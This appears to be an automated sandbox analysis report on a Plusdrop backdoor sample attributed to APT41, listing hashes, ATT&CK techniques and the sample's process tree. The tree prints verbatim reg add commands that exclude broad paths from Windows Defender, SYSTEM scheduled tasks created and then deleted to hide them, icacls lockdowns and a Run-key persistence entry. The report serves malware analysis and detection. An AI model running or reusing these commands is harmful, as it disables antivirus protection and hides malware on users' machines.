plusdrop | d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b

Analysis

max time kernel
150s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 16:14

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General

Target
_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
Size 70.6MB
Sample260601-tpxtnsbw4q
SHA256 d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b
MD5 ab47bfe382546241a95f300cdd805274
SHA1 ce1a6f491a17ff29e49b36ae34427c2a3822d0ef
SHA512 284e0acac6ff20f53b41a0ccda76dcde60ef79b8c31679925aa1fc4de82535b89cde674c10c8c0c0fc59f3ddb7c5fc8bf531e6b9e568aee69ddeba0b27ab9559
SSDEEP 786432:fftXNlNCxdpGIpPQXRUvoMo0h3248y4kkAWOQmrqykFq+a49c:FNORBvoMo0vGAmykJ9c
TLSH
T1C7F79E4AF751CD56D425533898EB475033B2E4A40B6BC3A3371E773D7EAB3A84EA0990
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution plusdrop persistence trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral2/memory/660-557-0x000001C356650000-0x000001C3566B0000-memory.dmp	family_Plusdrop_payload

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\jL4pGs = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 1 IoCs

pid	Process
660	gCNoZP.exe

Loads dropped DLL 1 IoCs

pid	Process
660	gCNoZP.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2340	icacls.exe
4792	icacls.exe
1644	icacls.exe
1880	icacls.exe
4084	icacls.exe
2128	icacls.exe
3424	icacls.exe
980	icacls.exe
1112	icacls.exe
424	icacls.exe
4904	icacls.exe
1284	icacls.exe
2748	icacls.exe
1192	icacls.exe
2156	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\jL4pGs\\gCNoZP.exe\""	gCNoZP.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4820	cmd.exe
1756	cmd.exe
4776	cmd.exe
1544	cmd.exe
3632	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	gCNoZP.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Sjjx54	gCNoZP.exe
File created	C:\Program Files (x86)\Sjjx54\Sjjx54.exe	gCNoZP.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1176	schtasks.exe
988	schtasks.exe
888	schtasks.exe
4648	schtasks.exe
4032	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
1212	_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe
660	gCNoZP.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	660	gCNoZP.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 660 wrote to memory of 1244	660	gCNoZP.exe	21
PID 660 wrote to memory of 1244	660	gCNoZP.exe	21
PID 660 wrote to memory of 228	660	gCNoZP.exe	81
PID 660 wrote to memory of 1544	660	gCNoZP.exe	84
PID 228 wrote to memory of 2748	228	cmd.exe	86
PID 1544 wrote to memory of 1176	1544	cmd.exe	87
PID 1544 wrote to memory of 1296	1544	cmd.exe	88
PID 660 wrote to memory of 388	660	gCNoZP.exe	90
PID 388 wrote to memory of 980	388	cmd.exe	92
PID 1544 wrote to memory of 1600	1544	cmd.exe	93
PID 660 wrote to memory of 2188	660	gCNoZP.exe	94
PID 2188 wrote to memory of 1112	2188	cmd.exe	96
PID 660 wrote to memory of 1376	660	gCNoZP.exe	24
PID 660 wrote to memory of 1376	660	gCNoZP.exe	24
PID 660 wrote to memory of 556	660	gCNoZP.exe	98
PID 556 wrote to memory of 1192	556	cmd.exe	101
PID 660 wrote to memory of 3416	660	gCNoZP.exe	102
PID 3416 wrote to memory of 4084	3416	cmd.exe	104
PID 660 wrote to memory of 3632	660	gCNoZP.exe	106
PID 660 wrote to memory of 2920	660	gCNoZP.exe	108
PID 3632 wrote to memory of 988	3632	cmd.exe	110
PID 2920 wrote to memory of 424	2920	cmd.exe	111
PID 3632 wrote to memory of 3696	3632	cmd.exe	112
PID 660 wrote to memory of 5060	660	gCNoZP.exe	114
PID 5060 wrote to memory of 2156	5060	cmd.exe	116
PID 3632 wrote to memory of 4508	3632	cmd.exe	117
PID 660 wrote to memory of 2452	660	gCNoZP.exe	119
PID 2452 wrote to memory of 2340	2452	cmd.exe	121
PID 660 wrote to memory of 2456	660	gCNoZP.exe	122
PID 2456 wrote to memory of 4792	2456	cmd.exe	124
PID 2460 wrote to memory of 4056	2460	cmd.exe	125
PID 660 wrote to memory of 1564	660	gCNoZP.exe	26
PID 660 wrote to memory of 1564	660	gCNoZP.exe	26
PID 660 wrote to memory of 3212	660	gCNoZP.exe	126
PID 3212 wrote to memory of 3424	3212	cmd.exe	128
PID 2756 wrote to memory of 4540	2756	cmd.exe	129
PID 660 wrote to memory of 4008	660	gCNoZP.exe	130
PID 660 wrote to memory of 4820	660	gCNoZP.exe	132
PID 4008 wrote to memory of 4904	4008	cmd.exe	134
PID 4820 wrote to memory of 888	4820	cmd.exe	135
PID 660 wrote to memory of 4108	660	gCNoZP.exe	136
PID 4820 wrote to memory of 3288	4820	cmd.exe	138
PID 4108 wrote to memory of 1284	4108	cmd.exe	139
PID 660 wrote to memory of 2892	660	gCNoZP.exe	141
PID 4820 wrote to memory of 3492	4820	cmd.exe	142
PID 2892 wrote to memory of 2128	2892	cmd.exe	144
PID 660 wrote to memory of 1036	660	gCNoZP.exe	145
PID 1036 wrote to memory of 1644	1036	cmd.exe	147
PID 660 wrote to memory of 1796	660	gCNoZP.exe	30
PID 660 wrote to memory of 1796	660	gCNoZP.exe	30
PID 660 wrote to memory of 4684	660	gCNoZP.exe	149
PID 4684 wrote to memory of 1880	4684	cmd.exe	151
PID 4780 wrote to memory of 2808	4780	cmd.exe	152
PID 660 wrote to memory of 1756	660	gCNoZP.exe	153
PID 1756 wrote to memory of 4648	1756	cmd.exe	155
PID 1756 wrote to memory of 2056	1756	cmd.exe	156
PID 4436 wrote to memory of 2348	4436	cmd.exe	159
PID 1756 wrote to memory of 2880	1756	cmd.exe	160
PID 660 wrote to memory of 4776	660	gCNoZP.exe	161
PID 4776 wrote to memory of 4032	4776	cmd.exe	163
PID 4776 wrote to memory of 2748	4776	cmd.exe	164
PID 4776 wrote to memory of 3188	4776	cmd.exe	167
PID 1176 wrote to memory of 552	1176	cmd.exe	168

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1244
- C:\Users\Public\jL4pGs\gCNoZP.exe
  C:\Users\Public\jL4pGs\gCNoZP.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2748
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jL4pGs\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jL4pGs\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1176
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1296
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1600
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:388
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:980
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:1112
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1192
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4084
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:988
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3696
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4508
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\gCNoZP.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\adoresd.dat" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\adoresd.dat" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2156
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4792
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\msadox.tb" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\msadox.tb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4904
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:888
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3288
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3492
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1284
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2128
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1036
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1644
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\jL4pGs\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4648
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2056
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4032
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2748
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3188
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jL4pGs" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jL4pGs" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4056
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4540
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2808
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2348
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1796

C:\Users\Admin\AppData\Local\Temp\_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe
"C:\Users\Admin\AppData\Local\Temp\_d56867554012ff1dbff99de2d1646f006db083396179f5128152eda36d598c7b.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1212

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 5af31bbb766a1854efda29295f50785edb19706af2972210c850ef401b577b12
MD5 321c6cbb9c87f82da86a521f253d5ad3
SHA1 55b0530d1401e2174b7f89eec86a9e837950b93b
SHA512 78a00c6405468ca0c21f38966519edc93f657ae92efdd53877981fef4fe031be899a30be9b625816c727bd660f232e075be58ba2e5c848129488f4ad7c94ccba
TLSH
T1FC21E9694A684D81EBD61DA77BD1C52B68B09A8074E5382BA32A08DD2A943E45F9780C
